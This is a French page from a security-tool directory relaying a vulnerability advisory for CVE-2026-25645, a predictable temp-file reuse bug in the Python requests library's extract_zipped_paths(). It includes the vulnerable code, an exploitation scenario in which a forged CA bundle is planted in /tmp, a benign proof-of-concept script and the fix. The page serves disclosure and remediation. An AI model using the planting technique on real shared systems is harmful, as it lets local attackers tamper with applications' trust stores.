Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-25645 — Réutilisation non sécurisée de fichiers temporaires dans extract_zipped_paths() | Kitploit
Outils/GitHubGitHub/jaycelation/cve-2026-25645
Analyse StatiqueAnalyse des VulnérabilitésExploitationSécurité WebArticles et Recherche
GitHubjaycelation/cve-2026-25645

CVE-2026-25645

Réutilisation non sécurisée de fichiers temporaires dans extract_zipped_paths()

Voir le dépôt
il y a 6 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

[CVE-2026-25645] Réutilisation non sécurisée de fichiers temporaires dans requests.utils.extract_zipped_paths()

Résumé exécutif

Une vulnérabilité a été identifiée dans la bibliothèque requests (Python) au sein de la fonction utilitaire publique requests.utils.extract_zipped_paths(). La fonction utilise un nom de fichier prévisible et non unique lors de la tentative d'extraction de fichiers dans le répertoire temporaire du système (/tmp) et ne vérifie pas l'intégrité ou la propriété des fichiers préexistants.

Bien que le comportement par défaut de requests combiné à certifi soit atténué par importlib.resources, cet utilitaire reste un piège de sécurité pour les applications en aval ou les implémentations personnalisées qui s'appuient sur lui pour gérer des ressources zippées.

Informations sur la vulnérabilité

  • ID CVE : CVE-2026-25645
  • CWE : CWE-377 (Fichier temporaire non sécurisé)
  • Sévérité : Modérée (5.0)
  • Vecteur CVSS : CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N
  • Versions affectées : < 2.33.0

Métriques de base CVSS v3 :

  • Vecteur d'attaque : Local
  • Complexité de l'attaque : Faible
  • Privilèges requis : Faibles
  • Interaction utilisateur : Requise
  • Portée : Inchangée
  • Confidentialité : Aucune
  • Intégrité : Élevée
  • Disponibilité : Aucune

Analyse technique

Le mécanisme

La fonction requests.utils.extract_zipped_paths() est conçue pour extraire des membres d'une archive zip (souvent utilisée pour les bundles de CA dans les environnements zipapp). La logique vulnérable suit ces étapes :

  1. Cible prévisible : Elle joint le répertoire temporaire du système avec le basename du membre du zip (par exemple, /tmp/cacert.pem).
  2. Vérification non sécurisée : Elle utilise if not os.path.exists(extracted_path) pour décider s'il faut extraire le fichier.
  3. Retour du chemin : Si le fichier existe, elle retourne immédiatement le chemin sans s'assurer que le fichier a été créé par le processus courant ni vérifier son contenu.

Analyse de la cause racine

Dans requests/utils.py, la logique est implémentée comme suit :

root@kitploit:~
# Path derivation using predictable basename
extracted_path = os.path.join(tmp, member.split("/")[-1]) 

# Insecure reuse of existing file
if not os.path.exists(extracted_path):
    # Extraction logic only triggers if file is missing
    ... 

# Returns path to potentially attacker-controlled file
return extracted_path

Impact et exploitation

Un attaquant local disposant de faibles privilèges peut exploiter cette vulnérabilité en créant au préalable un fichier malveillant (par exemple, un bundle de CA falsifié) au chemin prévisible dans /tmp. Lorsqu'une victime (interaction utilisateur requise) exécute une application qui invoque cet utilitaire :

  1. L'utilitaire constate que le fichier existe déjà.
  2. L'utilitaire ignore l'extraction et retourne le chemin vers le fichier malveillant.
  3. L'application victime charge les données de l'attaquant, entraînant une compromission d'intégrité élevée (par exemple, le chargement d'un magasin de confiance falsifié).

Preuve de concept (autonome)

Le script suivant démontre la vulnérabilité en montrant comment l'utilitaire réutilise un fichier « factice » préexistant au lieu du fichier légitime de l'archive.

root@kitploit:~
import os
import tempfile
import zipfile
from requests import utils

# 1. Attacker Step: Pre-create a malicious file in /tmp
TMP = tempfile.gettempdir()
fake_file_path = os.path.join(TMP, "cacert.pem")
with open(fake_file_path, "wb") as f:
    f.write(b"ATTACKER_MALICIOUS_DATA")

# 2. Victim Setup: A legitimate ZIP archive
zip_path = "resources.zip"
with zipfile.ZipFile(zip_path, "w") as z:
    z.writestr("certs/cacert.pem", b"REAL_LEGITIMATE_DATA")

# 3. Victim Action: Calling the vulnerable utility
zipped_member_path = f"{zip_path}/certs/cacert.pem"
resolved_path = utils.extract_zipped_paths(zipped_member_path)

# 4. Confirmation
print(f"[i] Utility returned path: {resolved_path}")
with open(resolved_path, "rb") as f:
    content = f.read()
    print(f"[i] Content read: {content}")

if content == b"ATTACKER_MALICIOUS_DATA":
    print("[!] Vulnerability Confirmed: Insecure file reuse successful.")

Remédiation

Le problème est corrigé dans la version 2.33.0. Le correctif consiste à passer à importlib.resources pour gérer les ressources zippées de manière plus sécurisée, en veillant à ce que les extractions se produisent dans des répertoires aléatoires et non prévisibles et en évitant la réutilisation de fichiers existants dans des répertoires partagés accessibles en écriture à tous.

Télécharger l’outil